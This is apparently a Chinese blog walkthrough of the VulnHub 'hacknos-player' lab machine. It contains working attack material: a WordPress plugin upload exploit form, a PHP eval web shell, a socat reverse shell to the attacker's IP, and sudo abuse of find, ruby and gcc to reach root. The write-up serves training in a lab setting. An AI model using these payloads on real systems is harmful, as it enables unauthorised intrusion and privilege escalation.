靶机下载地址https://www.vulnhub.com/entry/hacknos-player,459/

网络配置

该靶机可能会存在无法自动分配IP的情况,所以无法扫描到的情况下需要手动配置获取IP地址。按照链接中的操作进行IP分配https://blog.csdn.net/asstart/article/details/103433065?utm_source=app

开机按e进入此界面修改指定内容为rw signie init=/bin/bash



完成后Ctrl+X进入shell界面

然后使用dhclient命令获取IP,再次查看IP



此时已经成功出现IP,重启即可。

前期摸排



打开发现是apache的默认页面

端口扫描发现2个端口开放,先尝试下爆破3306端口

爆破时出现大量错误信息,该错误信息说明mysql设置了失败连接次数,导致了MySQL无条件强制阻止我们连接。看来mysql无果,只能尝试80端口了。

使用dirsearch扫目录

dirsearch.py -u "http://192.168.245.171/" -e * -r -R 3

没发现有价值的东西,之后尝试了hackNos、player、Rahul_Gehlaut各种组合来猜解目录也没发现有新的目录存在,我还是太菜了。换了个思路,既然作者只留了80端口有效,那么在80端口上一定有我疏忽的地方,果不其然,在默认页面中发现了网站根目录

众里寻它千百度 蓦然回首 却在灯火阑珊处~。

发现是wordpross

直接wpscan一把梭,我的wpscan安装一直出现问题,直接使用了docker版本,这里因为docker装在了我的腾讯云上,我直接把靶机映射到了外网进行扫描,懒得安装了~

docker run -it --rm wpscanteam/wpscan --url http://xx.xx.xx/g@web/

扫描时发现存在有漏洞版本的插件

尝试枚举一下用户

docker run -it --rm wpscanteam/wpscan --url http://xx.xx.xx/g@web/ --enumerate u

发现一个可疑接口

http://192.168.245.171/g@web/index.php/wp-json/wp/v2/users/?per_page=100&page=1

打开url发现类型密码字符串hackNos@9012!!,先记下来

中期深入

我们直接在wpvulndb搜索该插件漏洞exp

https://wpvulndb.com/search?text=WP Support Plus Responsive Ticket System

选择一个远程代码执行的

可以看到漏洞成因为使用了switch case简单匹配了黑名单后缀导致可进行绕过,上传可执行文件

直接将exp copy下来修改提交地址

<form method="post" enctype="multipart/form-data" action="http://192.168.245.170/g@web/wp-admin/admin-ajax.php">
<input type="hidden" name="action" value="wpsp_upload_attachment">
Choose a file ending with .phtml:
<input type="file" name="0">
<input type="submit" value="Submit">
</form>

我们选择直接上传php一句话shell

<?php eval(@$_POST[1]);?>

上传成功

在上传目录中发现我们的shell,打开执行我们的命令。

这里我们使用socat反弹一个交互式shell

socat是类Unix系统下的一个工具,可以看作是 nc 的加强版。我们可以使用socat来传递完整的带有tty的TCP连接。

控制端:

socat file:`tty`,raw,echo=0 tcp-listen:8888

打开shell执行我们的命令

1=system("socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.245.170:8888");

可以看到右下角的控制端已经成功接收反弹的shell了

后期提权

使用sudo -l查看sudo权限,发现需要使用密码,尝试输入之前获取的密码,无果



切换home目录发现三个用户名,尝试使用密码hackNos@9012!!挨个登录

成功登录security用户

使用sudo -l 发现可以无密码以hacknos-boat权限执行find命令

这里我们直接使用gtfobins工具来查找使用二进制文件执行命令的payload

https://gtfobins.github.io/



find命令的-exec参数可以让我们前面处理过程中过滤出来的文件,使用command命令对其进行处理,我们直接执行/bin/bash

sudo -u hackNos-boat /usr/bin/find . -exec /bin/bash \;

这时获得了hackNos-boat用户的权限,再次查看sudo权限,发现可以以hunter用户执行ruby,那么直接使用ruby -e 参数,-e的意思就是把后面的字符串当作脚本执行。

sudo -u hunter /usr/bin/ruby -e 'exec "/bin/bash/"'

获取hunter权限后发现可以以root权限执行gcc命令,我们直接去gtfobins搜索

sudo -u root /usr/bin/gcc -wrapper /bin/bash,-s .

获取root权限成功,这个-wrapper参数没查到什么意思,有师傅知道的话可以告知下。

完结,有段时间没做过靶机渗透了,发现好多东西都忘了,写个文章记录一下防止忘记。加油~

最新文章

  1. 【原创】kafka consumer源代码分析
  2. 从oracle数据库中导出excel问题导致乱码的问题
  3. excel 作图中次横坐标及次纵坐标的调试,以及excel自定义轴标签的步骤方法
  4. JQuery阻止事件冒泡---阻止后续代码执行
  5. c# this关键字的理解
  6. 安装Ubuntu 16.04后要做的事
  7. Java Abstract class and Interface
  8. cf 363D
  9. google protobuf 使用示例
  10. mongodb的部署记录
  11. 树莓派开启samba服务
  12. JavaSE回顾及巩固的自学之路(四)——————方法和数组,面向对象
  13. ssh和ejb的区别
  14. 解决Ubuntu下添加Log却无法输出(高通平台)
  15. 《Python黑帽子:黑客与渗透测试编程之道》 扩展Burp代理
  16. 并行运行多个python虚拟机
  17. OpenCV学习(29) 凸包(convexhull)
  18. C++:override和final
  19. 深入理解JavaScript系列(48):对象创建模式(下篇)
  20. oracle11g的安装与卸载

热门文章

  1. Core + Vue 后台管理基础框架4——前端授权
  2. VS配置C++依赖包
  3. [C++]请麻烦压一下定理的棺材板啦
  4. MyBatis框架——动态SQL
  5. IntelliJ IDEA 2018.1.4 x64安装创建maven项目等
  6. android studio 添加GSON
  7. x86汇编指令集大全(带注释)
  8. CERN Root与CLING
  9. TensorFlow 多元线性回归【波士顿房价】
  10. 条件随机场 CRF